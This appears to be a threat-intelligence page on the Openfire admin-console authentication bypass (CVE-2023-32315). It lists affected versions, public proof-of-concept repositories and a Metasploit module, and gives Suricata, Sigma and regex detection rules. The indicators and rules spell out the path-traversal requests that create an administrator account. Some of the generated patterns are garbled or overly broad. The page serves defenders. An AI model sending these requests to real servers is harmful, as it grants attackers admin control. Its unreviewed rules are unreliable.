Igniterealtime Openfire
Openfire administration console authentication bypass
Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
- >= 3.10.0, < 4.6.8
Fixed in 4.6.8
from GitHub Security Advisory GHSA-gw42-f939-fhvm
- >= 4.7.0, < 4.7.5
Fixed in 4.7.5
from GitHub Security Advisory GHSA-gw42-f939-fhvm
Mitigation
Upgrade org.igniterealtime.openfire:xmppserver to 4.6.8 or later.
Upgrade org.igniterealtime.openfire:xmppserver to 4.7.5 or later.
Timeline
Days relative to CVE publicationFirst public PoC 5.2 days after publication; added to CISA KEV 90 days after publication. First PoC: nuclei template: Openfire Administration Console - Authentication Bypass (nuclei template, 1 Jun 2023).
PoC repositories
Found on GitHub.14 PoCs · 2 pending · 2 informational
PoCs 14
| Repository | Created | Found by us | Stars | Assessment |
|---|---|---|---|---|
| ohnonoyesyes/CVE-2023-32315 | 14 Jun 2023 +18 d | backfilled | 0 | PoC via PoC Index |
| tangxiaofeng7/CVE-2023-32315-Openfire-Bypass | 14 Jun 2023 +18 d | backfilled | 143 | PoC |
| 5rGJ5aCh5oCq5YW9/CVE-2023-32315exp | 15 Jun 2023 +19 d | backfilled | 2 | PoC via PoC Index |
| miko550/CVE-2023-32315 | 18 Jun 2023 +23 d | backfilled | 60 | PoC |
| Ap0dexMe0/CVE-2023-32315 | 2 Jul 2023 +37 d | backfilled | 7 | PoC |
| Pari-Malam/CVE-2023-32315 | 2 Jul 2023 +37 d | backfilled | 7 | PoC |
| ThatNotEasy/CVE-2023-32315 | 2 Jul 2023 +37 d | backfilled | 7 | PoC |
| izzz0/CVE-2023-32315-POC | 7 Jul 2023 +41 d | backfilled | 5 | PoC |
| gibran-abdillah/CVE-2023-32315 | 31 Aug 2023 +96 d | backfilled | 3 | PoC |
| asepsaepdin/CVE-2023-32315 | 30 Jan 2025 +1.7 y | backfilled | 0 | PoC |
| pulentoski/Explotacion-CVE-2023-32315-Openfire | 14 Apr 2025 +1.9 y | backfilled | 1 | PoC |
| rag-fish/openfire-exploit-suite | 4 Sep 2025 +2.3 y | backfilled | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| CyberCTF/vulhub-openfire-cve-2023-32315 | 8 Oct 2026 +3.4 y | backfilled | 0 | PoC |
| krevetkqqq/cve-2023-32315-openfire-lab | 30 Oct 2026 +3.4 y | 14 Nov 2026 | 0 | PoC |
Pending 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| CN016/Openfire-RCE-CVE-2023-32315- | 10 Oct 2023 +136 d | 0 | Pending · repository exceeds size limit via PoC Index |
| K3ysTr0K3R/CVE-2023-32315-EXPLOIT | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Chinuaoku/SolarLab-Exploitation | 9 Jul 2024 +1.1 y | 2 | Informational · write-up |
| Acczdy/CVE-Vault | 8 Mar 2026 +2.8 y | 0 | Informational · list |
Only PoCs count toward the first-PoC date and the characteristics below. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Metasploit | Metasploit exploit: Openfire authentication bypass with RCE plugin (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315) | 8 Jul 2023 | 14 Nov 2026 |
| nuclei template | nuclei template: Openfire Administration Console - Authentication Bypass | 1 Jun 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 14 PoC reposGET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp
- Query
csrf=csrftokenusername=hackmename=email=password=hackmepasswordConfirm=hackmeisadmin=oncreate=Create Usercsrf=username=password=passwordConfirm=create=创建用户- Key headers
Accept: */*Accept-Language: en-US;q=0.9,en;q=0.8Cache-Control: max-age=0Cookie: csrf=csrftokenCookie: JSESSIONID={var}; csrf={var}- Ports
- 9090
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36- Seen in
- 2 repos: CyberCTF/vulhub-openfire-cve-2023-32315, izzz0/CVE-2023-32315-POC
- Evidence
- CyberCTF/vulhub-openfire-cve-2023-32315/app/README.md:35 CyberCTF/vulhub-openfire-cve-2023-32315/app/README.zh-cn.md:33 izzz0/CVE-2023-32315-POC/main.py:101
GET /setup/setup-s/%002e%002e/Su002esu002e/log.jsp
- Key headers
Upgrade-Insecure-Requests: 1- Ports
- 9090
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like- Seen in
- 1 repo: ohnonoyesyes/CVE-2023-32315
- Evidence
- ohnonoyesyes/CVE-2023-32315/README.md:4
GET /setup/setup-s/%2>%2>/%2>%2>/user-create.jsp
- Query
csrf=csrftokenusername=hackmename=email=password=hackmepasswordConfirm=hackmeisadmin=oncreate=Create User- Key headers
Cookie: csrf=csrftoken- Ports
- 9090
- Seen in
- 1 repo: CyberCTF/vulhub-openfire-cve-2023-32315
- Evidence
- CyberCTF/vulhub-openfire-cve-2023-32315/app/README.md:63 CyberCTF/vulhub-openfire-cve-2023-32315/app/README.zh-cn.md:61
GET /user-create.jsp
- Query
csrf=LxXB94PM5RujGFtusername=admin3name=admin3email=admin3@123.compassword=1234567passwordConfirm=1234567isadmin=oncreate=创建用户- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Cookie: JSESSIONID=node016jqkrnrfyv86d37wzxzlwklv17.node0; csrf=LxXB94PM5RujGFtDnt: 1Referer: http://10.19.71.129:9090/user-create.jspUpgrade-Insecure-Requests: 1X-Forwarded-For: 1.2.3.4- Ports
- 9090
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0- Seen in
- 1 repo: 5rGJ5aCh5oCq5YW9/CVE-2023-32315exp
- Evidence
- 5rGJ5aCh5oCq5YW9/CVE-2023-32315exp/CVE_2023_32315.md:43
GET /login.jsp
- Ports
- 9090
- Seen in
- 1 repo: CyberCTF/vulhub-openfire-cve-2023-32315
- Evidence
- CyberCTF/vulhub-openfire-cve-2023-32315/checks/version.sh:4
GET /setup/setup-admin-profile.jsp
- Ports
- 9090
- Seen in
- 1 repo: krevetkqqq/cve-2023-32315-openfire-lab
- Evidence
- krevetkqqq/cve-2023-32315-openfire-lab/README.md:80
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
- Ports
- 9090
- Seen in
- 1 repo: izzz0/CVE-2023-32315-POC
- Evidence
- izzz0/CVE-2023-32315-POC/main.py:73
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp/login.jsp
- Ports
- 9090
- Seen in
- 1 repo: izzz0/CVE-2023-32315-POC
- Evidence
- izzz0/CVE-2023-32315-POC/main.py:26
HEAD /login.jsp
- Ports
- 9090
- Seen in
- 1 repo: asepsaepdin/CVE-2023-32315
- Evidence
- asepsaepdin/CVE-2023-32315/CVE-2023-32315.py:23
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create\.jsp\?(?:.*&)?csrf=csrftoken.*username=hackme.*name=.*email=.*password=hackme.*passwordConfirm=hackme.*isadmin=on.*create=Create User.*csrf=.*username=.*password=.*passwordConfirm=.*create=创建用户
(?i)^/setup/setup-s/%002e%002e/Su002esu002e/log\.jsp(?:[?#].*)?$
(?i)^/setup/setup-s/%2>%2>/%2>%2>/user-create\.jsp\?(?:.*&)?csrf=csrftoken.*username=hackme.*name=.*email=.*password=hackme.*passwordConfirm=hackme.*isadmin=on.*create=Create User
(?i)^/user-create\.jsp\?(?:.*&)?csrf=LxXB94PM5RujGFt.*username=admin3.*name=admin3.*email=admin3@123\.com.*password=1234567.*passwordConfirm=1234567.*isadmin=on.*create=创建用户
(?i)^/login\.jsp(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2023-32315 igniterealtime Openfire exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp"; http.uri; content:"csrf=csrftoken"; http.uri; content:"username=hackme"; http.uri; content:"name="; http.uri; content:"email="; http.uri; content:"password=hackme"; http.uri; content:"passwordConfirm=hackme"; http.uri; content:"isadmin=on"; http.uri; content:"create=Create User"; http.uri; content:"csrf="; http.uri; content:"username="; http.uri; content:"password="; http.uri; content:"passwordConfirm="; http.uri; content:"create=创建用户"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en-US|3b|q=0.9,en|3b|q=0.8"; nocase; http.header; content:"Cache-Control: max-age=0"; nocase; http.header; content:"Cookie: csrf=csrftoken"; nocase; http.header; content:"Cookie: JSESSIONID="; nocase; reference:url,poc.griffinguard.io/cve/CVE-2023-32315; classtype:web-application-attack; sid:9535566; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2023-32315 igniterealtime Openfire exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/setup/setup-s/%002e%002e/Su002esu002e/log.jsp"; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2023-32315; classtype:web-application-attack; sid:9770002; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2023-32315 igniterealtime Openfire exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/setup/setup-s/%2>%2>/%2>%2>/user-create.jsp"; http.uri; content:"csrf=csrftoken"; http.uri; content:"username=hackme"; http.uri; content:"name="; http.uri; content:"email="; http.uri; content:"password=hackme"; http.uri; content:"passwordConfirm=hackme"; http.uri; content:"isadmin=on"; http.uri; content:"create=Create User"; http.header; content:"Cookie: csrf=csrftoken"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2023-32315; classtype:web-application-attack; sid:9290374; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2023-32315 igniterealtime Openfire exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/user-create.jsp"; http.uri; content:"csrf=LxXB94PM5RujGFt"; http.uri; content:"username=admin3"; http.uri; content:"name=admin3"; http.uri; content:"email=admin3@123.com"; http.uri; content:"password=1234567"; http.uri; content:"passwordConfirm=1234567"; http.uri; content:"isadmin=on"; http.uri; content:"create=创建用户"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.8,en-US|3b|q=0.5,en|3b|q=0.3"; nocase; http.header; content:"Cookie: JSESSIONID=node016jqkrnrfyv86d37wzxzlwklv17.node0|3b| csrf=LxXB94PM5RujGFt"; nocase; http.header; content:"Dnt: 1"; nocase; http.header; content:"Referer: http://10.19.71.129:9090/user-create.jsp"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.header; content:"X-Forwarded-For: 1.2.3.4"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2023-32315; classtype:web-application-attack; sid:9415668; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2023-32315 igniterealtime Openfire exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/login.jsp"; reference:url,poc.griffinguard.io/cve/CVE-2023-32315; classtype:web-application-attack; sid:9271543; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: igniterealtime Openfire exploit attempt (CVE-2023-32315)
id: gg-pocmon-cve-2023-32315-9535566
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-32315. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-32315
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp'
cs-uri-query|contains|all:
- 'csrf=csrftoken'
- 'username=hackme'
- 'name='
- 'email='
- 'password=hackme'
- 'passwordConfirm=hackme'
- 'isadmin=on'
- 'create=Create User'
- 'csrf='
- 'username='
- 'password='
- 'passwordConfirm='
- 'create=创建用户'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2023.32315
title: igniterealtime Openfire exploit attempt (CVE-2023-32315)
id: gg-pocmon-cve-2023-32315-9770002
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-32315. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-32315
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/setup/setup-s/%002e%002e/Su002esu002e/log.jsp'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2023.32315
title: igniterealtime Openfire exploit attempt (CVE-2023-32315)
id: gg-pocmon-cve-2023-32315-9290374
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-32315. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-32315
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/setup/setup-s/%2>%2>/%2>%2>/user-create.jsp'
cs-uri-query|contains|all:
- 'csrf=csrftoken'
- 'username=hackme'
- 'name='
- 'email='
- 'password=hackme'
- 'passwordConfirm=hackme'
- 'isadmin=on'
- 'create=Create User'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2023.32315
title: igniterealtime Openfire exploit attempt (CVE-2023-32315)
id: gg-pocmon-cve-2023-32315-9415668
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-32315. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-32315
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/user-create.jsp'
cs-uri-query|contains|all:
- 'csrf=LxXB94PM5RujGFt'
- 'username=admin3'
- 'name=admin3'
- 'email=admin3@123.com'
- 'password=1234567'
- 'passwordConfirm=1234567'
- 'isadmin=on'
- 'create=创建用户'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2023.32315
title: igniterealtime Openfire exploit attempt (CVE-2023-32315)
id: gg-pocmon-cve-2023-32315-9271543
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-32315. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-32315
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/login.jsp'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2023.32315